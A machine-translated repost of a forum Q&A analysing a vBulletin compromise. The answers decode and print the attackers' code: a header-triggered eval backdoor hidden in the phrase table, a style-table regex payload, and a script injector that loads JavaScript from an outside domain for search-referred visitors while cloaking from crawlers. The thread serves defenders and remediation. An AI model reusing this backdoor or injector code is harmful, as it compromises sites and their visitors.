HTTP苏联和HTTP-PACK?(HTTP-SOVIET and HTTP-PACK?)

2019-08-01 08:57发布

我发现一对夫妇vBulletin我管理的网站最近得到砍死。 他们使用最新版本的3.8系列(3.8.7补丁2级)的。 我通常在发现孔在那里他们得到和修补起来很不错,但是这一次是绊倒了我。 它们被注入数据到MySQL表。 当他们作出一个GET请求,攻击总是会发生faq.php脚本。 我能当攻击发生时保存数据。 这是$_REQUEST$_GET$_POST$_COOKIE$_SERVER数组。 我看到的唯一的事显得格格不入的是,有两个新的$_SERVER键, HTTP_SOVIETHTTP_PACK

http://pastebin.com/b6WdZtfK

我不得不认为这是问题的根源,但我不能为我的生活弄清楚攻击者如何设置此变量。 没有什么在请求字符串,没有cookie的阵中,这是一个GET请求,不POST。

任何的想法?

Answer 1:

像变量$_SERVER['HTTP_*']可以通过仅将报头添加到HTTP请求设定。

一个简单的命令行的例子是:

PHP页面:

print_r($_SERVER);

然后在命令行:

curl --header "SOVIET: 123" localhost

你会看到, $_SERVER['HTTP_SOVIET']等于123

在这种情况下,HTTP_SOVIET的内容是base64编码(放弃,它在结束== )。 非编码,它变成:

function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlV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
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
 $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
  if($a['styleid']!='' and $a['replacements']=='') {
   $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
   echo 'ok';
  } else echo 'error';
}
exit;
}
@iai();

值得一提的是,查询有:

'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''

检查你的风格表,因为这是单程/方式代码暴露给用户。

重命名你的风格表,别的东西可能会缓解这种攻击的影响现在。

在那里,以base64位在更bas64,其中有更多的bas64在最终evals:

function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {
 $data = file_get_contents($file_d);
 if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
  if(!stristr($data,$ip_l)) {
   file_put_contents($file_d,"$ip_l,",FILE_APPEND);
  } else return true;
 }
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
 $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
  if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
   $ip = $arr['0'];
  }
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
 if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
 }
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
 if(preg_match("/^$b/i",$ip_x)) return true;
 }
}
if(!empty($_SERVER['HTTP_REFERER'])) {
 if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
 $newtext = KeHHdiXL($newtext);
 }
}
return $newtext;

这写一个名为/tmp/phpYRcCBmBr ,所以我检查什么,说。

同时也隐藏它来自搜索引擎,这是很好的它的行为。

对用户来说,坏的一点是可能的:

function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}

这使一些JS通过托管的网页上kjionikey.org 。 这JS需要基于IP地址的关键。

我检查读取/执行随机$ _ SERVER变量的内容的任何代码,但为什么会在那里,我不知道。



Answer 2:

在这种情况下,攻击者安装在你的FAQ说的一句话后门代码(vBulletin phrases db表)为一组的chr() PHP函数调用。

${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...

基本上通过faq.php脚本eval'd时,被解码为:

if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
    if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
        @eval(base64_decode($_SERVER['HTTP_SOVIET']));
}

您可以通过发出像这样的SQL查询查找影响vBulletin短语

SELECT varname, text FROM `phrase` where text like '%chr(%'; 

虽然现在有很多这样的变种,有的正在使用十六进制字符串,base64decode,断言,包来电或只是简单的PHP。



文章来源: HTTP-SOVIET and HTTP-PACK?